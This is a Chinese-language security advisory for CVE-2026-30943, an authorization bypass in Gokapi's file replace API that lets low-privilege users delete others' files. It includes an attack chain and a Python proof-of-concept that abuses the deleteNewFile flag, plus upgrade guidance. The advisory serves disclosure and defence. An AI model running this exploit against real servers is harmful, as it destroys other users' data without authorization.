IPBUF安全漏洞报告
English
CVE-2026-30943 CVSS 4.1 中危

CVE-2026-30943 Gokapi文件替换API授权绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-30943
漏洞类型
授权绕过
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Gokapi

相关标签

授权绕过GokapiCVE-2026-30943文件共享应用API安全权限控制缺陷自托管服务器

漏洞概述

Gokapi是一款自托管文件共享服务器,支持文件自动过期和加密功能。在2.2.4之前的版本中,文件替换API存在严重的授权检查不足问题。该漏洞允许拥有UserPermListOtherUploads权限(仅具备列表可见权限)的用户,通过滥用deleteNewFile标志来删除其他用户的上传文件,从而绑过UserPermDeleteOtherUploads权限要求。这意味着具有较低权限的用户可以执行本应需要更高权限才能进行的文件删除操作,破坏了系统的权限分级机制。攻击者利用此漏洞可以未经授权删除他人文件,可能导致数据丢失和系统完整性受损。由于CVSS评分为4.1且攻击复杂度低,漏洞利用难度不大,但需要认证用户身份,因此实际危害程度为中等。

技术细节

漏洞存在于Gokapi的文件替换API端点中。当用户调用文件替换功能时,系统通过deleteNewFile参数控制是否删除原文件。问题在于API仅检查用户是否拥有UserPermListOtherUploads权限(允许查看他人上传文件的列表),而未正确验证UserPermDeleteOtherUploads权限(删除他人文件的权限)。攻击者只需构造特定的API请求,设置deleteNewFile标志为true,即可触发文件删除操作。漏洞代码逻辑缺陷在于权限检查顺序错误或检查条件不完整,导致低权限用户能够执行高权限操作。修复方案在2.2.4版本中重新设计了权限验证流程,确保在进行文件删除操作时必须显式检查UserPermDeleteOtherUploads权限,而不是依赖文件列表权限作为前置条件。

攻击链分析

STEP 1
步骤1
攻击者获取Gokapi账户,仅需UserPermListOtherUploads权限
STEP 2
步骤2
攻击者通过/api/v1/files端点列出所有文件,获取目标文件的ID
STEP 3
步骤3
攻击者构造恶意请求调用/api/v1/files/{fileId}/replace接口,设置deleteNewFile参数为true
STEP 4
步骤4
服务器未正确验证UserPermDeleteOtherUploads权限,直接执行文件删除操作
STEP 5
步骤5
目标文件被成功删除,攻击者以低权限完成高权限操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-30943 PoC # Gokapi < 2.2.4 Authorization Bypass via File Replace API target_url = "http://target-server:53842" # Authentication - user with only UserPermListOtherUploads auth_data = { "username": "attacker", "password": "password123" } # Step 1: Login to obtain session login_url = f"{target_url}/api/v1/login" session = requests.Session() login_response = session.post(login_url, json=auth_data) if login_response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: List files to find victim's file ID list_url = f"{target_url}/api/v1/files" files_response = session.get(list_url) files = files_response.json() if not files or len(files) == 0: print("[-] No files found") exit(1) # Get first victim's file ID victim_file_id = files[0]["id"] print(f"[+] Found victim file: {victim_file_id}") # Step 3: Exploit - Replace file with deleteNewFile flag to delete victim's file replace_url = f"{target_url}/api/v1/files/{victim_file_id}/replace" exploit_data = { "deleteNewFile": True, # Key parameter for exploitation "file": ("malicious.txt", b"exploited", "text/plain") } exploit_response = session.post(replace_url, files=exploit_data) if exploit_response.status_code == 200: print("[+] File deleted successfully - Authorization bypassed!") else: print(f"[-] Exploitation failed: {exploit_response.status_code}") print(exploit_response.text)

影响范围

Gokapi < 2.2.4

防御指南

临时缓解措施
立即升级Gokapi至2.2.4版本以修复授权绕过漏洞。在升级前,可通过限制UserPermListOtherUploads权限的分配来降低风险,同时监控API访问日志以检测潜在的恶意活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表